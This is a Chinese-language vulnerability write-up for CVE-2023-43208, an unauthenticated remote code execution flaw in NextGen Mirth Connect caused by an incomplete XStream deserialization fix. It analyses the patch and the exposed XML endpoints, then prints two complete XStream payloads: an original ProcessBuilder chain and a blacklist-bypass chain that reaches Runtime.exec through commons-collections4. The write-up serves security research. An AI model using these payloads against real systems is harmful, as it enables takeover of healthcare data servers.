Skip to content

CVE-2023-43208 NextGen Mirth Connect 远程代码执行漏洞

date
2023-11-15 12:47:44

漏洞信息

漏洞名称:CVE-2023-43208 NextGen Mirth Connect 远程代码执行漏洞

漏洞编号:CVE-2023-43208

漏洞介绍:NextGen HealthCare 的 Mirth Connect 是一个被医疗保健公司广泛使用的开源数据集成平台。低于 4.4.1 的版本容易受到未经身份验证的远程代码执行漏洞 CVE-2023-43208 的影响。该漏洞是由 CVE-2023-37679 的不完整补丁引起的。

环境搭建

https://github.com/nextgenhealthcare/connect/tags

先安装 Java 环境,这里是 Java8,然后下载对应系统的压缩包,解压后启动 mcserver 即可:

image

image

漏洞分析

这个漏洞是  CVE-2023-37679 的补丁绕过导致的漏洞,所以先找这个漏洞,该漏洞在 4.3.0 发现 4.4.0 修复:

https://github.com/nextgenhealthcare/connect/compare/4.3.0...4.4.0

根据漏洞发现时间看看提交,修复应该是这里:

image

image

这里添加了些类似黑名单的东西,先找了下 XStream 的历史漏洞,不过发现这个 1.4.19 是没有 RCE 的,1.4.17 后就默认开启白名单了,这里漏洞成因是这个:

1
xstream.addPermission(AnyTypePermission.ANY);

image

可以处理任何类型的对象,那直接找哪里调了这个反序列化的就行:

image

最后的利用点是找到了这里:

image

这个 readFrom是 JAX-RS MessageBodyReader 接口中定义的标准方法,用于读取请求实体并将其映射到 Java 对象。

在配合上面的注解:

image

这个类型的都会给这个 readFrom 去转换,那么搜一下 MediaType.APPLICATION_XML:

image

有很多,不过大部分好像是需要登录的:

image

找了下是个 swagger:

image

简单跑了下未授权的接口,找了个 XStream 的 payload 试了下:

image

而上面使用的 payload 只能影响 java 8 的版本,原因是 Java 9 引入了 "模块" 的概念来更好地封装 Java 库,从 Java 17 开始,JRE 明确禁止访问模块化库的私有成员,这也就导致了上面的 payload 在其他的 java 版本中利用失败。

horizon3.ai 找到了下面的代替类:

apache.commons.lang3 org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler

上面可以看到其采用的是黑名单的方式去修复的,黑名单也来自于 XStream 官网,而 XStream 说明其并不考虑第三方库中的类,这也就导致了可以使用 org.apache.commons.collections4.functors.InvokerTransformer 来进行命令执行,绕过黑名单的限制。

原版 payload 如下:

<sorted-set>
    <string>foo</string>
    <contact class='dynamic-proxy'>
        <interface>java.lang.Comparable</interface>
        <handler class='java.beans.EventHandler'>
            <target class='java.lang.ProcessBuilder'>
                <command>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </contact>
</sorted-set>

bypass 的:

<sorted-set>
  <string>abcd</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
      <target class="org.apache.commons.collections4.functors.ChainedTransformer">
        <iTransformers>
          <org.apache.commons.collections4.functors.ConstantTransformer>
            <iConstant class="java-class">java.lang.Runtime</iConstant>
          </org.apache.commons.collections4.functors.ConstantTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>getMethod</iMethodName>
            <iParamTypes>
              <java-class>java.lang.String</java-class>
              <java-class>[Ljava.lang.Class;</java-class>
            </iParamTypes>
            <iArgs>
              <string>getRuntime</string>
              <java-class-array/>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>invoke</iMethodName>
            <iParamTypes>
              <java-class>java.lang.Object</java-class>
              <java-class>[Ljava.lang.Object;</java-class>
            </iParamTypes>
            <iArgs>
              <null/>
              <object-array/>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>exec</iMethodName>
            <iParamTypes>
              <java-class>java.lang.String</java-class>
            </iParamTypes>
            <iArgs>
              <string><<COMMAND>></string>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
        </iTransformers>
      </target>
      <methodName>transform</methodName>
      <eventTypes>
        <string>compareTo</string>
      </eventTypes>
    </handler>
  </dynamic-proxy>
</sorted-set>

参考链接